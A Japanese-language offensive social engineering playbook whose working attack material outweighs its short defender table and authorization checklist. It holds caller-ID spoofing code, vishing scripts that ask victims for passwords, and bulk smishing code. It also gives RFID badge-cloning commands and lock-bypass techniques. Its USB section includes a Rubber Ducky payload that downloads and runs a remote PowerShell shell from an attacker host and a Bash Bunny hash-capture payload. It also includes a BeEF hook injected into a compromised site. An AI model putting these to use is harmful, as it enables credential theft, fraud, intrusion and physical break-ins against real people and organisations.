offensive-social-engineering

オフェンシブソーシャルエンジニアリング

ソーシャルエンジニアリングは、技術的な脆弱性ではなく、人間への信頼、権威バイアス、手続き上の抜け穴を悪用します。フィッシングが最も一般的な攻撃経路ですが、包括的なレッドチーム演習では、音声通話、テキストメッセージ、物理的なアクセス、仕掛けたデバイスなど、あらゆる手法をテストします。OSINT、心理的な操作、物理的なアクセス手法を組み合わせ、組織の人間層の防御を突破する攻撃者をシミュレーションします。

ここで説明するすべての手法には、明示的な書面での許可が必要です。物理的なソーシャルエンジニアリングには、追加の法的な考慮事項があります。不法侵入、公務員へのなりすまし、録音に関する法律は、管轄区域によって異なります。実施前に、対象範囲に各攻撃経路が含まれていることを確認してください。

クイックワークフロー

1. OSINT を実施し、標的組織の構造、主要な職員、物理的な所在地、コミュニケーションのパターンを把握します。
2. 演習の目標（認証情報の窃取、物理的なアクセス、データの持ち出し）に合わせたペルソナと口実を考案します。
3. インフラを準備します。ビッシング用の VoIP 番号、スミッシング用の SMS ゲートウェイ、物理的なアクセス用の複製バッジを用意します。
4. 段階的に攻撃を実施します。まずリモートの攻撃経路（ビッシング、スミッシング）から始め、対象範囲に含まれている場合は物理的な攻撃にエスカレートします。
5. すべてのやり取りを、タイムスタンプ、録音（法律で認められる場合）、結果とともに記録します。
6. クライアントに報告し、セキュリティ意識向上と手続きの改善に向けた、実行可能な推奨事項を提示します。

---

口実の作成と心理的な操作

口実の作成は、あらゆるソーシャルエンジニアリングの基盤です。情報やアクセスを求める理由となる、信じられる状況を作り上げます。口実は、何気ない確認に耐えられるものでなければなりません。また、重要な標的の場合は、意図的な検証にも耐えられる必要があります。

ペルソナの作成

追加の質問に答えられるだけの深みを持つペルソナを作成します。薄っぺらな口実は、最初の問いかけを受けただけで崩れます。

Persona Template:
  Name:           [Realistic for the region and industry]
  Role:           [IT support, vendor account manager, building inspector]
  Organization:   [Real vendor the target uses, or plausible third party]
  Contact Info:   [Burner phone, spoofed email, LinkedIn profile]
  Backstory:      [Why you are calling/visiting today]
  Verification:   [What to say if they try to verify your identity]
  Fallback:       [Graceful exit if the pretext fails]

Example -- IT Support Persona:
  Name:           Mark Chen
  Role:           Senior Support Engineer, Contoso IT Services
  Backstory:      Contoso manages the target's endpoint security.
                  Calling about a critical vulnerability patch that
                  requires the user to verify their credentials on
                  a portal to receive the update.
  Verification:   "You can check our contract reference CON-2024-0847
                  with your procurement team."
  Fallback:       "No problem, I will have your account manager
                  Sarah reach out to coordinate instead."

心理的なトリガー

効果的なソーシャルエンジニアリングでは、認知バイアスを利用します。これらは無作為ではなく、意図的に適用します。

Authority:
  - Impersonate someone with organizational power (CISO, VP, auditor)
  - Reference internal projects or systems by name
  - Use confident, directive language

Urgency / Scarcity:
  - "This must be resolved before end of business today"
  - "Your account will be locked if we cannot verify now"
  - Artificial deadlines compress the target's decision-making time

Social Proof:
  - "I have already confirmed this with your colleague [name]"
  - "Everyone in your department has completed this step"

Reciprocity:
  - Offer help before making a request ("I fixed that ticket for you")
  - Small favors create obligation

Commitment / Consistency:
  - Get the target to agree to small requests first
  - Escalate to the actual objective after initial compliance

Liking / Rapport:
  - Mirror the target's communication style
  - Find common ground (shared frustrations, industry knowledge)
  - Use their name; reference specifics from OSINT

---

ビッシング（音声フィッシング）

音声通話では、メールでは再現できない人間味が加わります。リアルタイムのやり取りにより、状況に応じた対応、反論の克服、信頼関係の構築が可能になります。

VoIP インフラのセットアップ

発信者番号の偽装と通話録音に対応した、専用の音声インフラをセットアップします。

# Option 1: Twilio for caller ID manipulation
# Register a Twilio account and purchase a local number

pip install twilio

python3 <<'PYEOF'
from twilio.rest import Client

account_sid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
auth_token = "your_auth_token"
client = Client(account_sid, auth_token)

# Place a call with spoofed caller ID
call = client.calls.create(
    to="+1XXXXXXXXXX",        # Target number
    from_="+1XXXXXXXXXX",     # Your Twilio number (displayed)
    url="http://your-server.com/twiml/pretext.xml"  # TwiML script
)
print(f"Call SID: {call.sid}")
PYEOF

# TwiML script for IVR-style pretext
cat <<'XML' > pretext.xml
<?xml version="1.0" encoding="UTF-8"?>
<Response>
    <Say voice="alice">
        This is an automated message from your IT security team.
        A suspicious login was detected on your account.
        Press 1 to verify your identity and secure your account.
    </Say>
    <Gather numDigits="1" action="/handle-key" method="POST">
        <Say>Press 1 now.</Say>
    </Gather>
</Response>
XML

# Option 2: Asterisk PBX for full control
# Install Asterisk on a VPS
apt-get install asterisk

# Configure a SIP trunk with a VoIP provider that permits
# caller ID passthrough (check provider TOS for compliance)

# extensions.conf -- route outbound calls with custom CallerID
cat <<'CONF' >> /etc/asterisk/extensions.conf
[outbound-spoof]
exten => _X.,1,Set(CALLERID(num)=2125551234)
exten => _X.,n,Set(CALLERID(name)=TargetCorp IT)
exten => _X.,n,Dial(SIP/trunk/${EXTEN})
exten => _X.,n,Hangup()
CONF

asterisk -rx "dialplan reload"

ビッシングの通話スクリプト

スクリプトを用意しつつ、会話のように話してください。スクリプトをそのまま読み上げると機械的に聞こえ、疑念を招きます。

Opening:
  "Hi, this is Mark from IT support. Am I speaking with [target name]?
   Great -- I am calling because we detected some unusual activity
   on your account this morning and I need to verify a few things
   with you to get it resolved."

Credential Harvesting:
  "I have pulled up your account and I can see the flagged activity.
   To confirm your identity before I can make any changes, could you
   verify the email address on file? ... And the password you are
   currently using, so I can confirm it was not changed by the
   unauthorized party?"

Objection Handling:
  Target: "I should not give my password over the phone."
  Response: "Absolutely, I understand the concern. What I can do
   instead is send you a secure link to reset it. Can you confirm
   the email I should send that to? I will stay on the line while
   you complete it."
   [Send EvilGinx2 link via email during the call]

Escalation to Manager:
  "If you would prefer, I can have my supervisor call you back.
   Let me transfer you to our team lead."
   [Transfer to another operator playing the supervisor role]

IVR システムの悪用

自動音声応答（IVR）システムには、隠された管理メニュー、デフォルトの PIN、DTMF でアクセスできる機能が存在することがよくあります。

Common IVR reconnaissance:
  - Dial the main number and explore all menu options
  - Try pressing 0, #, or * at any prompt for operator/admin access
  - Enter default PINs: 0000, 1234, 9999, the last four of the main number
  - Listen for system identification (Cisco Unity, Avaya, Mitel)
  - Check for voicemail systems accessible via external dial-in
  - Test for DTMF injection during hold music or transfer sequences

---

スミッシング（SMS フィッシング）

SMS メッセージはメールより開封率が高く、組織によるフィルタリングも困難です。通信事業者レベルの保護は向上していますが、まだ一貫していません。

SMS ゲートウェイのセットアップと配信

# Twilio SMS with link tracking
from twilio.rest import Client

client = Client("ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "auth_token")

targets = [
    ("+1XXXXXXXXXX", "John"),
    ("+1XXXXXXXXXX", "Sarah"),
]

for number, name in targets:
    message = client.messages.create(
        body=f"Hi {name}, your VPN certificate expires today. "
             f"Renew now to avoid losing access: "
             f"https://vpn-targetcorp.com/renew?u={name.lower()}",
        from_="+1XXXXXXXXXX",  # Your Twilio number
        to=number
    )
    print(f"Sent to {name}: {message.sid}")

スミッシングの口実パターン

IT / Security:
  "TargetCorp Security Alert: Unusual login detected from
   [city]. Verify your identity: https://secure-targetcorp.com/verify"

HR / Benefits:
  "[TargetCorp] Open enrollment deadline extended to Friday.
   Review your benefits selections: https://benefits-portal.com/enroll"

Delivery / Package:
  "USPS: Your package requires address confirmation before
   delivery. Confirm here: https://usps-verify.com/confirm"

MFA Push Fatigue (combined with credential stuffing):
  Send repeated MFA push notifications, then SMS:
  "TargetCorp IT: We are seeing repeated MFA prompts on your
   account. If this is not you, approve the next prompt so we
   can reset and secure your account."

---

物理的なソーシャルエンジニアリング

物理的な侵入テストでは、制限区域にアクセスするために、警備員、錠、バッジリーダー、人の警戒をすり抜ける必要があります。

テールゲーティングと便乗侵入

最も単純な物理的アクセス手法です。許可された人物の後に続いて、管理された出入り口を通過します。

Tailgating Approaches:
  - Hands full: Carry boxes, a laptop bag, and coffee. People
    hold doors for someone whose hands are full.
  - Smoking area: Join employees at the smoking area and walk
    back in with them. No badge tap needed.
  - Delivery persona: Wear a delivery uniform, carry a package
    addressed to someone inside. "I just need to drop this off."
  - Timing: Enter during high-traffic periods (8:30-9:00 AM,
    lunch return at 1:00 PM) when door-holding is routine.

Physical Appearance:
  - Dress code matters. Match the environment.
  - Corporate office: Business casual, lanyard with a badge
    (even a blank one -- people see the lanyard, not the badge).
  - Data center: Polo shirt, cargo pants, tool belt.
  - Construction/maintenance: Hi-vis vest, hard hat, clipboard.

Proxmark3 を使った RFID バッジの複製

ほとんどのアクセス制御システムでは、簡単に複製できる低周波（125 kHz）の近接カードが使われています。高周波（13.56 MHz）のシステムにはさらに手間がかかりますが、依然として脆弱です。

# Proxmark3 -- Read a low-frequency HID ProxCard
proxmark3> lf hid read
# Output: TAG ID: 2004XXXXXXXX

# Clone to a T5577 writable card
proxmark3> lf hid clone -r 2004XXXXXXXX

# For iCLASS (high-frequency) systems
proxmark3> hf iclass read
# May require key recovery:
proxmark3> hf iclass loclass
# Then clone with recovered keys

# For MIFARE Classic (common in many badge systems)
proxmark3> hf mf autopwn
# Dumps all sectors; clone to a MIFARE Classic compatible card
proxmark3> hf mf cload -f dump.eml

Badge Capture Techniques:
  - Long-range reader: Place a concealed reader near an entry
    point or elevator. Low-frequency cards can be read at 1-3
    feet without the cardholder's knowledge.
  - Social approach: "Hey, can I see your badge for a second?
    I think we have the same model and mine stopped working."
  - Photography: Badge numbers are sometimes printed on the
    face of the card. A telephoto lens from across a parking
    lot can capture them.

ピッキングと物理的な迂回

Common Bypass Methods:
  - Lock picking: Rake or single-pin pick standard pin tumbler
    locks. Most commercial door locks are pickable in under
    60 seconds with practice.
  - Bump keys: Pre-cut keys that open pin tumbler locks via
    percussive force. Fast and low-skill.
  - Shims: Bypass padlocks by inserting a thin metal shim
    between the shackle and the locking mechanism.
  - Under-door tools: Slide a tool under the door to reach
    the interior handle or push bar. Works on outward-opening
    doors with gaps.
  - REX sensor triggering: Request-to-exit motion sensors can
    often be triggered through glass doors with a can of
    compressed air (simulates heat) or by reaching through
    gaps with a wire.
  - Elevator manipulation: Many elevator control panels use
    standard fire service keys (FEO-K1 is near-universal in
    the US). Carry one.

---

USB ドロップ攻撃

武器化された USB デバイスは、人間の好奇心と、物理メディアに対するユーザーの暗黙の信頼を悪用します。

USB Rubber Ducky

Rubber Ducky は標的のシステムにキーボードとして認識され、事前にプログラムされたキー入力をマシン速度で実行します。

# DuckyScript payload -- reverse shell via PowerShell
# Saved as inject.bin on the Rubber Ducky microSD

DELAY 1000
GUI r
DELAY 500
STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('https://cdn.attacker.com/shell.ps1'))"
ENTER
DELAY 100

Bash Bunny

Bash Bunny は、ストレージ、キーボード、イーサネットを同時にエミュレートできる多機能 USB 攻撃プラットフォームです。

# Bash Bunny payload -- credential harvesting via Responder
# payload.txt in switch position 1

ATTACKMODE ECM_ETHERNET HID
LED SETUP

# Wait for network interface
QUACK DELAY 3000

# Start Responder on the Bash Bunny's network interface
python3 /tools/responder/Responder.py -I usb0 -wrfb &

# Wait for hashes
LED ATTACK
sleep 60

# Exfiltrate captured hashes
LED CLEANUP
cp /tools/responder/logs/* /root/udisk/loot/
LED FINISH

sync

O.MG Cable

O.MG Cable は、標準的な USB 充電ケーブルと見分けがつきませんが、キー入力の注入、キーロギング、リモートコマンド実行が可能な無線インプラントを内蔵しています。

O.MG Deployment Scenarios:
  - Replace a charging cable at the target's desk during a
    physical assessment. The cable charges the device normally
    while providing covert access.
  - Leave "branded" cables in common areas: conference rooms,
    reception desks, break rooms.
  - Mail a cable to the target as a "promotional gift" or
    "replacement for a recalled product."

O.MG Capabilities:
  - Keystroke injection (like Rubber Ducky, but wireless trigger)
  - Keylogging (captures everything typed through the cable)
  - Wi-Fi command and control (connect to the implant's AP)
  - Geofencing (auto-trigger payloads based on Wi-Fi proximity)
  - Self-destruct (wipe payload remotely)

---

水飲み場型攻撃

標的を直接攻撃するのではなく、標的が頻繁に訪れるウェブサイトを侵害します。直接的なフィッシングに対する警戒が強い、セキュリティ意識の高い組織に対して特に有効です。

水飲み場型攻撃の手法

1. Identify target browsing habits via OSINT:
   - Industry forums and blogs
   - Vendor portals and documentation sites
   - Regional news sites popular with the target demographic
   - Professional association websites

2. Assess candidate sites for vulnerabilities:
   - XSS (inject malicious JavaScript without full compromise)
   - CMS vulnerabilities (WordPress, Drupal, Joomla)
   - Third-party widget compromise (analytics, chat, ads)

3. Deploy selective exploitation:
   - Serve exploits only to IP ranges belonging to the target org
   - Use browser fingerprinting to target specific OS/browser combos
   - Redirect to benign content for non-target visitors

4. Example: Inject BeEF hook into a compromised industry blog

// BeEF hook injection on a compromised watering hole site
// Injected into the site's footer or a third-party JS include
// Targets only the victim organization's IP range

(function() {
    var targetRanges = ["203.0.113.", "198.51.100."];
    // IP check via WebRTC or server-side logic
    // If target IP matches, load BeEF hook:
    var s = document.createElement("script");
    s.src = "https://attacker-beef.com/hook.js";
    document.body.appendChild(s);
})();

---

標的選定のための OSINT

効果的なソーシャルエンジニアリングは、情報収集から始まります。標的について知っていることが多いほど、口実の説得力が高まります。

LinkedIn と組織の偵察

# LinkedIn scraping for employee enumeration
# Use linkedin2username for email format derivation
python3 linkedin2username.py -u [email protected] -c "TargetCorp" -s 1000

# theHarvester for multi-source OSINT
theHarvester -d targetcorp.com -b all -l 500

# Recon-ng for structured intelligence gathering
recon-ng
[recon-ng] > marketplace install all
[recon-ng] > modules load recon/companies-contacts/bing_linkedin_cache
[recon-ng] > options set SOURCE "TargetCorp"
[recon-ng] > run

# CrossLinked for LinkedIn enumeration without API
python3 crosslinked.py -f '{first}.{last}@targetcorp.com' "TargetCorp"

組織のパターン分析

Map the organization to identify:

  Reporting Structure:
    - Who reports to whom (LinkedIn, press releases, org charts)
    - Key decision-makers and their assistants
    - New hires (less likely to question unusual requests)

  Communication Patterns:
    - Internal tools (Slack, Teams, Zoom -- visible in job postings)
    - Vendor relationships (partner pages, case studies)
    - Email format (first.last, flast, firstl -- verify via SMTP)

  Physical Security:
    - Office locations (Google Maps, Street View for entry points)
    - Badge type (photos on social media, Glassdoor)
    - Visitor procedures (call the front desk and ask)
    - Delivery schedules (observe loading docks)

  Technology Stack:
    - Job postings reveal internal tools and infrastructure
    - DNS records, SSL certificates, Shodan results
    - GitHub/GitLab public repositories from employees

---

検知／防御側の視点

攻撃ベクトル	検知の指標	防御策
ビッシング	不審な発信者番号、発信者が認証情報を要求する、折り返し電話で本人確認できない	折り返し確認のポリシー、電話で認証情報を共有しない、セキュリティ用合言葉の導入
スミッシング	不明な送信者、SMS 内の URL、緊急性をあおる文言、送信者名の不一致	SMS フィルタリング、ユーザー向けセキュリティ意識向上トレーニング、業務上の操作で SMS のリンクをクリックしない
テールゲーティング	見知らぬ人物、バッジが見えない、ドアを通る際にすぐ後ろに続く	マントラップ／エアロック式の入口、防犯カメラ、声かけを促す文化のトレーニング
バッジの複製	異なる場所での重複したバッジ読み取り、通常時間外のアクセス	物理アクセスの多要素認証（バッジ＋PIN）、アクセスログの異常検知
USB ドロップ	不明な USB デバイスが挿入される、新しい HID デバイスが認識される、不審なキー入力	GPO で USB ポートを無効化、USB デバイスの許可リスト化、HID 攻撃のエンドポイント検知
水飲み場型攻撃	予期しないブラウザーエクスプロイトの試行、不明な C2 へのビーコン通信	TLS 検査を行うウェブプロキシ、ブラウザー分離、ネットワークセグメンテーション

防御側は「信頼するが、必ず検証する」文化を導入する必要があります。不審な依頼はすべて、依頼者が指定したものとは別の独立したチャネルを通じて確認してください。

---

エンゲージメント用チートシート

PRE-ENGAGEMENT
  [ ] Written authorization covers all planned vectors (vishing, physical, USB)
  [ ] Legal review of jurisdiction-specific laws (recording consent, trespass)
  [ ] Rules of engagement define escalation limits and safety words
  [ ] Personas and pretexts developed and rehearsed
  [ ] Infrastructure ready: VoIP numbers, SMS gateway, cloned badges, USB devices
  [ ] Emergency contact list (client POC, legal, physical safety)

EXECUTION - REMOTE
  [ ] Vishing calls recorded (where legally permitted) with timestamps
  [ ] Smishing messages sent and tracked
  [ ] All credential captures documented immediately
  [ ] Stop criteria monitored (do not exceed authorized scope)

EXECUTION - PHYSICAL
  [ ] Carry authorization letter at all times during physical assessment
  [ ] Photograph or video evidence of access achieved (where permitted)
  [ ] Do not damage property, alarm occupants, or create safety hazards
  [ ] If challenged and pretext fails, present authorization letter immediately
  [ ] Log entry/exit times for every facility accessed

POST-ENGAGEMENT
  [ ] All planted devices (USB, O.MG cables) recovered or accounted for
  [ ] Cloned badges destroyed
  [ ] VoIP numbers and SMS accounts decommissioned
  [ ] Findings compiled: what worked, what was caught, what was missed
  [ ] Recommendations: procedural controls, awareness training, physical upgrades

---

主な参考資料

• MITRE ATT&CK T1598 -- 情報を狙ったフィッシング
• MITRE ATT&CK T1566 -- フィッシング
• MITRE ATT&CK T1091 -- リムーバブルメディア経由の複製
• MITRE ATT&CK T1189 -- ドライブバイ侵害
• Social Engineering Toolkit (SET) -- https://github.com/trustedsec/social-engineer-toolkit
• Proxmark3 -- https://github.com/RfidResearchGroup/proxmark3
• Hak5 USB Rubber Ducky -- https://docs.hak5.org/hak5-usb-rubber-ducky
• Hak5 Bash Bunny -- https://docs.hak5.org/bash-bunny
• O.MG Cable -- https://o.mg.lol
• BeEF Framework -- https://beefproject.com
• linkedin2username -- https://github.com/initstring/linkedin2username
• CrossLinked -- https://github.com/m8sec/CrossLinked
• Christopher Hadnagy 著、『Social Engineering: The Science of Human Hacking』